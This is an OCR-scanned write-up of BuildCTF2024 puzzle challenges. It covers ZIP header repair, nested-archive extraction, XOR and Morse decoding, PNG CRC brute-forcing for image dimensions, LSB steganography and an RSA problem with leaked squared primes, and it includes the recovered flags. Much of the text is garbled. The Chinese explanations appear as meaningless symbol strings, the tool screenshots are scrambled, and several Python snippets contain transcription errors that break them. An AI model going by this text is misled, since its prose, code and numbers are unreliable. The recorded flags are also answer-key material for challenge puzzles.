BuildCTF2024 Writeup

TR EET—T, TR, —IRiRBEAIHpass, REMEETXARME.
Misc
E2721P

SHEINZEREAR00, #RELISHIICRCRIGHHIRAYEIRT

00 00 00 4
1

RRER ~ ZIP. bt
& L= Fih K B]e R
struct ZIPFILERECORD file @
struct ZIPDIRENTRY dirEntry
struct ZIPENDLOCATOR endLocator

Users\jyzho\Documents\SweetScape\010 Templates\Repository\ZIP.bt' F 'C:\Users\jyzho\Desktop\f1@9 (1)zip'...

BRI E T

/home/starr
printf '\x08' dd of=1.zip bs=1 seek=%$((0x08)) count=1 conv=notrunc
AT 1+0 BRI F
HT 1+0 BRiEF
FHEES , 0.000547584 s, 1.8 kB/s

/home/starr

unzip 1.zip
Archive: 1.zip
inflating: @_f1@9.txt

txXtIIR B Ebrainfuckymiz


af://n0
af://n121
af://n3
https://ctftime.org/writeup/33316

& W3Cschool Drera 2| 22

© EHTHER O O P

<> brainfuck 7E£ETH

ERMPTUDL U I EDS [ T RR SUTTI [NUTIIDS NPT JORURIRS (B 5uidCTF (Da74_Cowbr355lon 15 345V)

EZ_ZIP

i VAN 4B )| —. i
binwalk> EE F1EEI—" zip
/home/starr
binwalk -e ZPZ.jpg ——run-as=root
DECIMAL HEXADECIMAL DESCRIPTION
Q 0x0 JPEG ima data, JFIF standard 1.01

0x2340 Zip archive data, at least v2.0 to e essed size: 55229, uncompressed size: 55232, name: layer_499.zip
0xFB63 End of Zip archive, footer length:

ERBEMS00EELEE

import pyzipper
cnt=500
target_folder="111"
zip_file="111\\1ayer_500.zip"'
while cnt>=0:
with pyzipper.AESZipFile(zip_file, 'r', compression=pyzipper.ZIP_DEFLATED,
encryption=pyzipper.WZ_AES) as extracted_zip:
extracted_zip.extractall(path=target_folder)
cnt-=1
zip_file=f'111\\layer_{cnt}.zip'

fRHRRER Mflaggggggg.zip, F010E—FARIUNINE, Mo<iEESflag

HERER - ZIP. bt *
=t & FHE K me iR
struct ZIPFILERECORD file flaggggggg.txt



af://n10

HEXAIRE S
LINN

Recipe oma
From Hex on
Delimiter
Auto
XOR Brute Force on
Key length Sample length
1 & 100 &
Sample offset Scheme
e v Standard
|:| Null preserving Print key

O Output as hex

Crib (known plaintext string)

& BAKE!

Auto Bake

STEP

what is this?

LN

Recipe

oOn

From Binary

Delimiter Byte Length

Space 8 v
Substitute o n

Plaintext
C

Ciphertext

Substitute On

Plaintext
P

Ciphertext

From Morse Code

Word delimiter
Line feed

Letter delimiter
Comma

—SBEREM,
FEFEESmE, 15%FIpassword

length: 58
lines: 1

+ O3]

Input

c2f5e9ece4c3d4c6fbb3cSfafadfclbSe3alaldfe2edeeelf2fofofofd

start: 5090 time: 13ms

Output 7L ez BO® O
Key = 79: »....%.¢.E%..| I.
Key = 7a: ,....*®%.E¢..¥»1.00
Key = 7b: *. “Y%.E%..mel.
Key = 7c: LIt LEYE.
Key = 7d: i
Key = 7e: %.... LIne
Key = 7f: % . . %E.pP P
Key = ge:
Key = 81: CthmeBUGz2D{{"@4b ~cho sxxx|
Key = 82: @wknfAVDy1Gxx]C7a##] klcp{{{.
Key = 83: Avjog@WExeFyy\B6 ""\ajmbqzzz~
Key = 84: Fqmh' GPB.7A~~[Elg%%[fmjev}}}y
Key = 85: GpliaFQC~6@..zDef$$zglkdw| | |x
Key = 86: DsojbER@}5C||YG3e''Ydohgt...{
Key = 87: ErnkcDSA|4B}}XF2d&8&Xenifum~~z
Key = 88: J}adlK\Ns;MrrWI=k))Wjafizqqqu
Key = 89: K| emd]Or:LssVH<J((Vk gh{pppt
Kev = Ra: H.cfnTAl a90nnliK ?i++hcdkxsssw v
input =l E

©11000110110001101100011001011000111000001110000011100000111000001110000001011000110001101100011
©011100000111660001100011611100000010116801110086061611000116601101106011811000110116001100101168
011000110111060001110000011100000111000000101160011600110116001101100011601011000110001101100011
©11100000111000001100011011100000010110001100011011100000111000001110000011100000010110001100011
©110001101100011011000110811000110010110001100011011000110111000001118000011000110111000000101100
©11100000111000000101100011100000111000001110000011100000111000000101100011000110111000001100011
©0101100011000110110001108110001101100011011000110010110001100011001011000110001101100011011100800
©111000001100011011100000010110001110000011000110111000001100011001011000111000001110000011100800
0111000001110600001011000111000001100611011000110616110001166011001011066110001101100011011108008
011100000110081101110000001011600111060801100011011120000116601101110000011102000010116001110608
0110001101110000011000110111000001110000|

Output

S@_TH1S_15_M@RSE_C@DE_! !

—SEHEPREE


af://n17
af://n20
af://n23

& B8 T EsAEToolsFx v1.17.0 build 2023-09-20

CTF | 4R#EAS | JREZEEHE | Bigint | FFHME | 18% | MAC | XIFRINZZ(block) | XIFRINEZ(Stream) | IERIFRINZ | £ 5364 | Qrcode | PBE | Browser

e | 8| [ &5

B RBIE? Bk FSW? B
KRR FASM? A2 53X 3
X, ASm? Hixe

21?5

01248 alz26

autoKey bacon24

brain fuck bubbleBabble

DNA emojiSubstitute

hacker words handyCode
mne: nihilist oneTimePad

porta qwe

rot5 rot8000

troll script twin-hex

S Ayl

o) [AMES

FRESRREEER

aaencode

base64CaseCrack
caesar

Fenham

hill

Ook

rabbit

RSA-crack

type7

2= (online)

mE @ ®%E  » BT

wmwwE (2T

s2j6dg@*

fE8: YYGQ BAIKE: 488 IHLHIKE: 8 cost: 2 ms

St

& BB T EfEToolsFx v1.17.0 build 2023-09-20

CTF | {RABES  YRESEEHE | Bigint| AFANE | 18% | MAC | XIFRINZH(block) | XHFRINEX(Stream) | JEXTFRINEE | £455%%  Qrecode | PBE | Browser

e | e ([ -

#E: ERENENEEEMEA SIS RENER TP AR ES WIS AEN, &0
ErETERNEEEAREEESPEERES SR EE AR EEEH L LR IE NN SR EEE SRS
NS R AR TR S S R R I AR SO M S e 5

BRTHRE FSPE

BT |V BRI ER

BEMEEAWSE RIS SR EE RN RS E

01248 alz26

autoKey bacon24

brain fuck bubbleBabble
DNA emojiSubstitute
hacker words handyCode

mne: nihilist oneTimePad
porta qwe
rot5 rot8000
troll script twin-hex
o) St Fayuic=
FRRRIES

encrypt version

m= (e g

wemE: (2 1

aaencode
base64CaseCrack
caesar

Fenham

hill

Ook

rabbit

RSA-crack

type7

2Z(online)

ADFGX

baudot

caesar box
fourSquare
Jjjencode
pawnShop
railFence
socialistCoreValue
virgenene

FF sz (base60)

quipqiup.com

ADFGX

baudot

caesar box
fourSquare
Jjjencode
pawnShop
railFence
socialistCoreValue
virgenene

KTtz (base60)

quipgiup.com

affine
beaufort
cetacean
fracMorse
manchester
periodicTable
rot13

steg base64
vowel

#riEEE (online)

wiki

affine
beaufort
cetacean
fracMorse
manchester
periodicTable
rot13

steg base64
vowel

#rf#E (online)

wiki

R

asciiSum

bifid

Citrix CTX1
grayCode
manchester-diff
playFair

rot18

tapCode
zwBinary

#&H(online)

asciiSum

bifid

Citrix CTX1
grayCode
manchester-diff
playFair

rot18

tapCode
zwBinary

g¢H (online)

- O X

Misc | ApiPost | [E4 ER#EHR | SEEREX | T

atbash
braille(§32)
curveCipher
gronsfeld
morse
polybius
rot47

trifid
zwUnicode
BRE

- O X

Misc | ApiPost | =45 | ERth | ZEEHEX | £F

SRR ORISR R R R E S B — SRR S ARSI RS R BT ARSI el
2. EEBEENEENE 22 A R SRS B BRI (A
THEINEESS D BB B RIS SR VB 2R Rt

L SRBESRARRE

atbash
braille(§3)
curveCipher
gronsfeld
morse
polybius
rot47

trifid
zwUnicode

BRE

B: e R HRARD S e E R S A DR SR LA TS A e SR AR AR A R SR R S AR S R R R Fa R S B R G R A B

HERUERE

fi#53: BuddhaSay AKE: 310 S§HIKE: 100 cost: 5ms

RPEG
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¥ EX 4 (F:100)

Base/Rot

—#BER |=3*

BB EALL

o OBADO®
mEReIEEeEeLa R
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AT
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Emi |
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HK
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REESRI O S

SHIT-B- HCEE P LT IR 2081 =<5

A EmRER
Ry EEE

RRRELIERAEARLGH
MERREIERERREHT

g
45 B
_.I___.m _-N
BIHT R
= i
E i@
i B
@ HiEgp,
= i
HIAD, HiEH
i B
HEEH ki
B HE
e 24
Hig= e
S Hfint
e iy
Fieo g
HIEE T_ma_m
L AT
redE ey
AT i
o 50
e i
P M 445
. HBE et
M4 ey
R R
iy ES
i )i
I EH TEE
e g o L.
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AR (I

o PUEIHIEIE U248 E T
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R [pEsETTI CTFRRTA V6.3 20241008 _ 0 %
Base/Rot FHEE1 FERE2 FUEZI RGNS TkeyMT FkeyRT MENET masR HEIR @ Br DS
¥ EW ) (F:48) ) Ehkey/str/url: (& B Al O®# —RBED ==

TdeUypxFHgNST TrkdM5k 7X 186 SU9]inEziQ5vsS 1 ripvTps

BEERITA WNBRIETLE, FIFHIE, F248887T4IM! EMiE wE| t421
— & @ 9 |[BEER G TERETOIE5—HN) -
basefd B9 nWOJEDOR :U0S905upd0t 0" O80£ {0OV3)=:q

base32HH 19

basel6#H S

base85 (a) B0

based5 (b) B8

base58 RIS BuildCTF {D3crypti0n_ls_4_10ng_r04d}

base36HG 19

base91 _

base02 B0 =A%y aTa?UENIIE X 3[40 &y

—fFDN) EOO>[11{

basef2E 13348996933733200377760866035747260623921089262095567381252110270620060246861207929457
baseaz(gscn)ﬁa‘ﬂ

Basel6-32-64-01RSLEHD

1 izBaszefid True 7chy'pxFHgNS]7rdeM5kTHlSGSUQJinEnQSVSSlrMvapx

2 BRER: b \xed\xdT\x14\xca\x9cE\x1e\x03R’ \xba\xdb\x 91 \xd39\x 93 \xbE\xf B\xf0d\x 94 \xf4\x98'\xaT\x 138\x9

Ohxebixfbix12\xd6\xb3) \xbd: g"
MER R B HBER SR, M- NEIWEEMES

Tm 1 Vriiat MO FWE T3 TheNERTT 1 APWVA b v W ev HR ol 1 3 T e W rd

R AMEZH, RTEMTHETEEAT LML # FEAIRE REhtEs § 05 iRt 5 wew. 1010, xyz

Mok, (RIFEERREE

Pi010, BEIERZ T KA

2 010 Editor - C\Users\jyzho\Desktop\c.png 8 X

HRER - PNC. bt X
&R =S Fith K mneE R 2
struct PNG_SIGNATURE sig 8h

struct PNG_CHUNK chunk|

[0 IHDR (Critical, Public, 19h
struct PNG_CHUNK chunk1

12

E)

SRGB. (Ancillary, Publi.. Dh
gAMA (Ancillary, Publ 10h

]
1
struct PNG_CHUNK chunk[2]
] IDAT (Critical, Public, .. FFC6h
]
]

struct PNG_CHUNK chunk|
struct PNG_CHUNK chunk(4] IDAT (Critical, Public, 10000h

IDAT (Critical, Puk 10000h

struct PNG_CHUNK chunk[



af://n32

SHtHkfrom hex, SRIRIFBERD

Recipe <~ W | Input length: Sii + OS5 F =

lines:

E8 87 AA E7 94 Bl E6 96 87 E6 98 8E E6 B3 95 E6

Eromihiex B2 BB E5 B9 B3 E7 AD 89 E5 85 AC E6 AD A3 E6 95
Delimiter AC E4 B8 9A ES 85 AC E6 AD A3 E5 8F 88 E5 96 84
Auto ES 85 AC E6 AD A3 E5 85 AC E6 AD A3 ES 87 AA E7

94 Bl E8 87 AA E7 94 B1 E5 92 8C E8 B® 9@ E5 B9
B3 E7 AD 89 E8 87 AA E7 94 Bl E8 87 AA E7 94 B1
E5 85 AC E6 AD A3 E6 B3 95 E6 B2 BB E5 8F 8B E5
96 84 E5 B9 B3 E7 AD 89 E5 85 AC E6 AD A3 E8 AF
9A E4 BF Al E6 96 87 E6 98 8E E5 85 AC E6 AD A3
E6 BO 91 E4 B8 BB E5 85 AC E6 AD A3 E8 AF 9A E4
BF Al E5 B9 B3 E7 AD 89 E5 B9 B3 E7 AD 89 E8 AF
9A E4 BF Al E5 B9 B3 E7 AD 89 E6 B3 95 E6 B2 BB

time: 1ms

Output e & 0@ ol

lines:
B s
¥

INTEHDE A TER A TEATEH i E BEP45 H i H B A TR A T4 TE U A TEREATER
e

REiEfKcrcBRE, BUFRERNES

import binascii

import struct

crcbp = open("c.png", "rb").read() #ENE 4
crc32frombp = int(crcbp[29:33].hex(),16)
print(crc32frombp)

for i in range(10000):
for j in range(10000):
data = crcbp[12:16] + \
struct.pack('>i", i)+struct.pack('>i"', j)+crcbp[24:29]
crc32 = binascii.crc32(data) & Oxffffffff
# print(crc32)
if(crc32 == crc32frombp):
print(i, j)
print('hex:', hex(i), hex(j))
exit(0)

525 102e

hex: 8x28d ©x3fc

B—T, BEIE+HRG



ERY

HEE NN ERGRD

M ER SRS
HLEVRONE: 358, RE B, A Gl T AF ke 28 Sl mE KE

BuildCTF{lao_se_pl}|

4
m m
B H G S A RO A TERFE A TEATEH i E RSP E f E A ERA TS A TS SO A TE R A TS PP ARl E PR Mg A PSP S ol &
TR R A WA
4

PUsk? EEIE?
FEERAISE38 N chunkb &I T E4a 8 /IR, IN504B_EEELSforemostE DR


af://n44

W wE S

BEHMLRODWE =SS o

b
=

E A
HIRER - PNG. bt

&0

struct PNG_ CHUNK chunk(33

1
struct PNG_CHUNK chunk[34]
struct PNG_CHUNK chunk[35]
struct PNG_CHUNK chunki36]
struct PNG_CHUNK chunk[37]
struct PNG CHUNK chunki38]
struct PNG_CHUNK chunk(39]

IDAT (Critical, Public,
IDAT (Critical, Public,
IDAT (Critical, Public,
IDAT (Critical, Public,
IDAT (Critical, Publ

8a{A (Ancillary, Priva...

FEAFEED, BRARS

EEIE=Zpassword, f#EHtxt, EENAS—ENS

Recipe

From Base64

Alphabet
A-Za-z0-9+/=

Remove non-alpha

STEP

FHA
FO1C7h
F81D3h
1001DFh
1081EBh
1101F7h
IDPK (Critical, Public, ... 118203h

11A5B6h

800Ch
800Ch
800Ch
800Ch
800Ch
23B3h
Oh

/home/starr

4.png
ing: 4.png
t=¢ee /bLepasswordeoec.txte

FSpasswordB1RE, WA _4HE—IRREDKE, FE 2T, BiX

bet chars D Strict mode

& BAKE!

Auto Bake

Fi#¥base6dT, Ei—T,

start: 1687484
length: 1687484 =
. + OS5 []
Input len;::: 168748; Tr=g 2 "

xUC2q1SdZvCgtmwc2CCyM3LeVhkOHBFiQQ9gjeYjHIsnHBgIeLHz091m4k8auiMUgl+m7gKcVkLsPw64ielzy IRIWPHANC A
4THDgkjPUQ4MiIvae/

k4MAn5SAzEVK/5KM+0QVme cQX5HI 2nfrt7e371559IguMUFi9YIUI1kuuF10K96NMkmnsIxoDaxFecem7ED1eveQVuMadT
9LQIsjImRqy8WNnbYx67Ujh1Igruy EN9KUUSVIWHYUCTNO7L+vKzCeAyI9wP4QhEVGVPOXwI/58FD93/
wW28PW704/68p7Dbxf8UQbIX8SANE6XNVTGd764L3h4M6tYUP+63sap3e2hqc8MaDNBGNGxo/nwe@@S20drEA2U9QL/
£40QKsn8wWG8aAvsD2LDICz8KCI3Wi+UnzsRi7Vpuvfgyn/varPP79WBr8pkXCU+7YECOXdkIGE 8xh1y/
bcBilKhchH3fsx0qDNB45206Gz16nj0pzI3ZVvUgzCuk693iYNeF5TZA95Q71qtg8tXEUQr+2Nty+a+
+movK2vf6t9VF9ICQfrNY96ZvPf5cLh3UOvgppfe59Q3Lkg81HDKyEFbaX9Cn/d1scx5DRABAKZZ/
E4BgmAWMZ4YWhRVP1DVFsQaUM+OT7wYcmdoC1ifVGgz0f8ceCqNfvHD1sboLktwOtaV4kPSvQHAMOEKsr+BdEM7ihjAMo]
1Co5fbWsOXEcHbxrIgSQ8R/+Xf/
mXo76hSS+TTIQILtf13GOFIQ7iFKL8TjrFi5WIsBY0IU38dUo7DTBTHB2FI1Wu2ptm5RQp+WgzBhRPHBVKEE/58RFqOiCY
uobcSq3uYApFFUNGCTzia3m6zrYKsbVgXVn8Mu3+welxYuYecqGBd39/

dzg44Nniy+HIYz4koIGWOxsN7ISdyZeBWNWy TAzOkQt31KHOBNFvSNEMINFhX8F4605TC1lca2zb69Wai2tE81SicIm5pAu
SUokfkoDwGs4C8c10Q1svxugh/FhqUzakNE@3kcbj+uTQasn2dK /9+Sev7q+SpHFXHiivbzQ+Nwap/
dnvpESFZNFrkdEpgGIHbAI/0g6/xxcKHKINbSI7bSGzwtRgmDW3uMUcu/
Y6FPu8rzZTHEIhnCHIUhn9K30ejgF+UTzyI1fRjbzIKcF5NZgBPOJoKy4U96aE/
XLP44aYVPWInmxXnlZcvZqsTmyL+AK2D7/0ITPV11QRtbumIS7/

1Udqowxh8IP2WyKcpdBghSWAgeHz12vbjjiZzIDHC55pFas513kzByjn32667u+G8G3 /FrwiKa2kE3FTHUM+hbh9+m/ v
start: 1265613 time: 152ms
% end: 1265613 length: 1265612 r o
Output ¢ length: ©  lines: 3809 a D m e
-PNG ~
THDR. . evveeennnn. 0Z3y....sRGB.®F.&. ... gAMA. .. .{ia...JOTDATX iyY--1.R

U.i..#..3.Le2R*5.0%028{RU{{OV62.}.}«5.HVO. .je HeA&.d..q§31isNOT.
é»*m, oBg, Sijkv. yiyiakbg000«p. .wuON.4Z2@&Ea¢Lb. . dW(@+»+sH.MTA.GT».AdE . &BR/Y .
{ppDi#A#. :07:<6> 1+¥,07.0AR..; 2§=s8"./2050...9.. ©»0.0ywuyiiY- :n(r¢' . .quaao*a

T iwEGOUAOYXA. Y. .4+6.27 .Mé-Az. &% ADM . X.Eni..2Y."9M3 Y16U&. . 6. qy%+. JO3HAL¥%Y

6b}.}c.2+%.Zyenail.A¢§~pa. . (66 . "EP¢xmé. . .s. . +Wc60 (L. Ti>¢RWuw?cOR.QE. .

+93'haNG]5GE . phA6yR . bY" | 080Z¥ , . Uyhi¥x%aghux«A" [4C\]1]TRO>Zx3pv2uU. . ¢w-}A.6 }&
PU....._2rj... t=1.¢°8h?.0W[. " .K¢2..:17.Y0Q.Hzb« 0 f R

v r...fim4&. . .d..$bS.n.»0y&.(]§.wxt.i-£880.18s. .96

&..310.%IX2fa.C/.6U#.585.p, . +9APTL"1.20. . ... 61k3i...)43¢i8...,ws, 302..16. "ig.z.¢tEO.
o

oF. .2\60<.

iB/..ul].e®6.m¢._¢..§.%1..x6.: 223bTPa¥a%ny . Cubide. qUUEA. (z . ~4%1 . tEpADINECH . k.w-.31. .. . iiPGYF.K

DA.; ¢9.0.K9}SRE¥rn 'Y°i)°Tib.5.2° .0. 01|10 .a~.eh0.6Pa.7
.+.60.kU%&. .OEO. .%Q. . .A"0_I.aU4..5.<¥cUAKES .. .. ¢RO...GZ~783. . .IU./E¢IEIONE.+E.OV.T.\6! v

RERE—IRMEESHRE, KBRE—T, REEN, 52fag,

785 1558

hex: 8x311 ©x616




4% 470D 08 1 0&
03 11 00 00 06 16

01

BRER - PG bt

struct PNG_SIGNATURE sig

struct PNG_CHUNK chunk[0] IHDR (Critical, Public,
struct PNG_CHUNK chunk(1] SRGB  (Ancillary, Publi
struct PNG_CHUNK chunki2] gAMA (Ancillary, Pub
struct PNG_CHUNK chunki3] IDAT (Critical, Public,
struct PNG_CHUNK chunk[4] IDAT (Critical, Public,
struct PNG_CHUNK chunki5] IDAT (Critical, Public,

with open('password.png', 'rb') as f:
content = f.read()
swapped = bytearray(content)
for i in range(0, len(swapped)-1, 2):
swapped[i], swapped[i+1] = swapped[i+1], swapped[i]
with open('output.png', 'wb') as f:
f.write(swapped)


af://n54

BT —MRESEMIREAIEIE, BRARE—T

from PIL import Image
img = Image.open('key.png')
result = Image.new(img.mode, img.size, 'white')
pixels = img.load()
result_pixels = result.load()
for i in range(img.size[0]):
for j in range(img.size[1]):
r, g, b = pixels[i, j1[:3]
if not (r == 0 and g == 0 and b == 0 or r == 255 and g == 255 and b ==
255):

result_pixels[i, j] (255, 255, 255)
else:
result_pixels[i, j]

result.save('keyy.png')

pixels[i, j]

from PIL import Image

img = Image.open('keyy.png"')
result img.copy(

pixels img.Toad()
result_pixels = result.load()
width, height = img.size

for col in range(width):



has_black_pixel = False
for row in range(height):
r, g, b = pixels[col, row][:3]
if r == 0 and ¢ 0 and b
has_black_pixel = True
break
if has_black_pixel:
for row in range(height):
result_pixels[col, row] = (0, 0, 0)
result.save('keyyy.png')

25 Eﬂlﬂleeaﬁ

LEER, EEFTADREEE T "FraRE", AR "FEFAR" &
F aspose.c [l aspose.cloud R47F

BA—KER

key:wo _bu_shi xiao_hei z

$#N: Code 128

REHOtEEEEIK—HBbase6d, WEEHAREME T, BHiZcyberchef LiXm

start: 162536 length:
Recipe savfolcdel  Input m e e

length: o lines: 1

adaofoldnp delvier

~ Vmewd2QyUX1VWGXWVed4V1YwZDRWMV13WkRSVE1WbDNXa1ITVAXV2IET1hhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJ1R1 ~

15U2tWVWIHaGIUV1Z3V1ZadGNFSmxSbGW1VTIeV1ZXSkhhRz1VVmxaM1ZsWmFkRO5GU214U2IHdzFWVEOWV] FaWFNraGhs
Alphabet emxWVm14YU@XWNNXbUZrU3jA1R1UyMTRVMk pIZHpGV1ZFb3dWakZhVeZOcmF HaFN1bXhXVmOXNF LVMHhXbk5YY1VaclvaQT
A-7a-20-9+/= FSMVV5TVRSVk1rcElaSHBHVjFaRmIzZFdhalpoVjBaT2NtRkhhRk5sY1hoWFZtMHhORMXWTUhoWGIrNV1ZbFZhY2XWeVFU
RINNV1Y1VFZSU1ZrMXJ3jRWxhUBhCSFZqRmFSbUl6WkZkaGExcGIWakIhVDIOdFIraGhSazVziiixobldGWNRNSGhPUML4VL

RVaGIXROpyT1ZsWmIGWMhZMnhXY1ZGVVIs TkSWbFkxVkZaU1UxinINWE pqUld4aFUwaENTR1pxUm1GU23VbDZXalprYUdF

. Remove non-alphabet chars D Strict mode eGNHOVdha@poVkRKT2RGSnIhR2hTYXpWeldXeG9iMWRHV25ST1NHaFBVbTE@V]FSVmMFHOVhSMHB5VGxac1dtSkdXbwhaTw
SoWFkxikdWVkpzVGs1V2IGa3hialphVTFVeFduSkSXRXBxVixkNGFGVXdhRUSUUMXweFVEMUdVMKkpWYkRaWGEXCHIZVWRG
ZUdOSE 9WZGhhMHBWVmtSS1QyUkdTbkpoUj JoVF1YcFd1bGRYZUc5aU1XUkhKMIVTVGXOSGFGQLZ1VEUWVmpGU1ZtRKhPVm
hTTURCNVZHeGF jMWROU2tkWGIXaGFUVZVVVeZreFdrzFdia3B6VkdzMVYySkdhM2hXYTFwaFZUR1Z1RMR1U2 s 1WF IYQnhi
V3hrTkdGR1ZYZGhSVTVVVIN14d2VGVNRNVWRWTIWtWY11rUmFXROVAY®hKW1ZXUkdaVWRPUGUSV1pHaGhNSEI 2Vm1eULMXUX
- 1Va2RUYmtwb1VqSmOWRMXZYSZkbGIHU11aVWMIYVUXWFVraFdNalZUVkd4T INHRKARbFppVKVVd1Zt cEdVMVpeUmtoUFZt
aFRUVWhDT 1ZaSGVHRmMpNV1IwVTI@aldHS1hhROZVVnpWdlYwnI1RmRy WkZkV2E 2QjZWa2RE6 TVZZeVNrZGhNMmh YWVRGd2
FGW1VSbFpsUm1SMVUyczFXRkpZUW50V1YzaHIUa2RHUS FallVpHaFNWVF ZWV 1cxNGQyVkdWb1I0V1dSVIRXAHAWMUWXy VWG

[ Remove non-alphabet chars [ strict mode WFIwVjRZMGhLV2xaWFVrZGFWV1IQVTBVNVYxcEhhR2hOUBVKM1ZtMTBVMULAVVhsVmMEYULVZbXR3Y 3 FWCVNtOVAdSbXhaWT
Baa2JHSkhVbGxhV1dNMVIWVXhXR1ZyYUZk TmF sW1Viia2Q@VDFOSF I rZF JiRnBwVmtWVmQxWnRRWRWTVZuMFVtdGIVR1pe
YUZSVVZXaERUbFphU@dWSFItcESWMUL3V1RKMGEXZEhTbGhoUjBaV1ZucFdkbF13V25KbFItUnlXalprvjIFelFquldhMl

From Base64 not_interested pause

From Base64 not_interested pause

Alphabet
A-Za-z0-9+/=

From Base64 not interested pause I2VFZaWmVWTnJaR2hOTW1oWVdWUkdkMkZHV2xWU2JGCHNVbTFTTVZVeWN6R1hSa3BaVVclblYxWXphSEpVYTISSFVGRMFX v
start: 30 time: 58ms ﬁlll
end: 27 length: 27
:Ip;abEta 94/ - Dutpat length: -3  lines: 1 SENERIRG S
-Za-70-9+/=

BuildCTF{y@u_are_great_boy}
. Remove non-alphabet chars |:| Strict mode
From Base64 not_interested pause
Alphabet
A-Za-z0-9+/=

. Remove non-alphabet chars D Strict mode

. o
From Base64 not interested pause v @ ®H O EY B

STEP CHEF ICON BAKE! “
Auto Bake



&l

Isb

@

Extract Preview

51E=567062475244
625639754d48526€E
£6513d3d00000000
0000000000D0O0D0D
00000000000000D0D
28bedaf7=3841043
0000S245624805c¢7h
0000452485a3a142
D04826180d2€e=8 1d
238 lea5d00baSeal

5E455a374d5630€68
544£4e43495345¢68
000000000000000D0
0000000000000000
0000820000124800
fO0bfhefbeffd7428
fdfedehad49248000
40301fefabd04800
243d£7dbd04055c0
ed48549249249240
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Bit Planes

Preview Settings

Recipe
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Remove non-alphabet chars

Crypto

Alpha []7 []6 []5 []4 [13
Red []7 []6 []5 [J4 []3
Green [ |7 []6 []5 []4 []3

Blue [ 7 []6 []5 []4 [3
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Order settings
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Bit Plane Order
® RGB ) GRB
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{JGBR  (BGR
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Input
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Output

BuildCTF{1_am_net_LSB!!!}
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OVOFHIJE! HRBXRIIT B
=
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from Crypto.Util.number import
flag = b'BuildCTF{*¥*%*%*}"
#BENLAHp, g

p = getPrime(1024)
g = getPrime(1024)

#1HH AN
n = p*q
e = 65537

bytes_to_long(flag)

3
I

#c=mAe¥%n
c = pow(m, e, n)

print('Pp = ',p**2)
print('Q = ',q**2)
print('n = ",n)
print('e = ',e)
print('c = ',c)
#P =

82798533307572346691364830327508248261757779275065750837101664128970120794669557
69715275604152872242147320194640165649152928984919315754419447729793483984130396
35857857113795657130251620264907661907683199792267557270584819950430923204450295
78663170112125059852841293655225703683953684273889042237827428506169831308851527
85650513046301920305069822348366931825404271695876688539675285303882189060671184
91113974255471001875556551801477773332279552271023409135387829848649824482963887
89493896903844885733381388256423816877498881023413792541374455463067962580927620
99409409285871651688611387507673794784257901946892698481

#Q =
94066435031767666881139042267024773227066647317142726325257635333953802983201403
41860043591350428258361089106233876240175767826293976534568274153276542755524620
13871476733882033474814036508085647425333403323645709276424499498383791495528680
81537846287393272175397011349397483131230713476978272791699528107279956817807177
19971161661561936180553161888359929479143712061627854343656949334882218260141557
76886822215146847194688422537000970690064085149279853845838444929404293083135972
37998935815686774338685316993607898004490777517985354971170040597346709128293587
93175346866262442550715622833013235677926312075950550681

#n =
88252834821904760059462533436388208795593553068609122681288912415133100540664245
67824202757539757712177309282694997613217968336164050770152277369601415394249781
57741545622412010254396828503564751446136461173433807352345435437699278355103539
55581941712026808551828687665632776973256902268493169441017394916598121740548985
19492145495098671439125714086449826697343692081109131564556220174583970363431110
46222247301302182577026780324951589373698943014619419993633515393661119646722559
97468308739580852876652231907671374043668400552978595544901233898773969657101772
79558954630222879974581602069901175074777191362537419581

# e = 65537


af://n71

#cC =
27915082942179758159664000908789091022294710566838766903802097394437507062054409
03393230396682009623237564687348042748584473338129846717106998541823787312098413
21663432583453894778443392614883185887601252309793406780068717541254872792121209
45061845738130108370814509280317816067243605608952074687396728904772649873860508
24080954154593921962425487890029112673939096782014103626071220855557452213144655
65955623309692096652917573862466480609908407877697721605498625381163709053064022
93764494501838709895355570646716245976733542014165663539815972755562821443411642
64798189863676182210722120396629675835054747757641121674459453400205767362567818
88244765432880489561245655094731005508385630855854346757273588316107249205502133
50035792170323729397796947598697983084347567191009236345815968927729025919066227
70472818006080555378715186242603427552660515480784069549864407018468196231163933
82734698598385053488234172347222707988823843670586300641081552406803077545574724
76430983184039474907188578578484589833812196216551783354411797156409948499012005
96394372856480389815015573576269582565867847574655990070579681451283838019360317
86572260334068128103149601422510122235769841156423514636847245124567785488530026
53596485899854303126091917273560

EIERHFEE, FERT



import gmpy?2
from Crypto.Util.number import *
P =
8279853330757234669136483032750824826175777927506575083710166412897012079466955
76971527560415287224214732019464016564915292898491931575441944772979348398413039
63585785711379565713025162026490766190768319979226755727058481995043092320445029
57866317011212505985284129365522570368395368427388904223782742850616983130885152
78565051304630192030506982234836693182540427169587668853967528530388218906067118
49111397425547100187555655180147777333227955227102340913538782984864982448296388
78949389690384488573338138825642381687749888102341379254137445546306796258092762
099409409285871651688611387507673794784257901946892698481
Q =
9406643503176766688113904226702477322706664731714272632525763533395380298320140
34186004359135042825836108910623387624017576782629397653456827415327654275552462
01387147673388203347481403650808564742533340332364570927642449949838379149552868
08153784628739327217539701134939748313123071347697827279169952810727995681780717
71997116166156193618055316188835992947914371206162785434365694933488221826014155
77688682221514684719468842253700097069006408514927985384583844492940429308313597
23799893581568677433868531699360789800449077751798535497117004059734670912829358
793175346866262442550715622833013235677926312075950550681
n =
8825283482190476005946253343638820879559355306860912268128891241513310054066424
56782420275753975771217730928269499761321796833616405077015227736960141539424978
15774154562241201025439682850356475144613646117343380735234543543769927835510353
95558194171202680855182868766563277697325690226849316944101739491659812174054898
51949214549509867143912571408644982669734369208110913156455622017458397036343111
04622224730130218257702678032495158937369894301461941999363351539366111964672255
99746830873958085287665223190767137404366840055297859554490123389877396965710177
279558954630222879974581602069901175074777191362537419581
e = 65537
Cc =
2791508294217975815966400090878909102229471056683876690380209739443750706205440
90339323039668200962323756468734804274858447333812984671710699854182378731209841
32166343258345389477844339261488318588760125230979340678006871754125487279212120
94506184573813010837081450928031781606724360560895207468739672890477264987386050
82408095415459392196242548789002911267393909678201410362607122085555745221314465
56595562330969209665291757386246648060990840787769772160549862538116370905306402
29376449450183870989535557064671624597673354201416566353981597275556282144341164
26479818986367618221072212039662967583505474775764112167445945340020576736256781
88824476543288048956124565509473100550838563085585434675727358831610724920550213
35003579217032372939779694759869798308434756719100923634581596892772902591906622
77047281800608055537871518624260342755266051548078406954986440701846819623116393
38273469859838505348823417234722270798882384367058630064108155240680307754557472
47643098318403947490718857857848458983381219621655178335441179715640994849901200
59639437285648038981501557357626958256586784757465599007057968145128383801936031
78657226033406812810314960142251012223576984115642351463684724512456778548853002
653596485899854303126091917273560
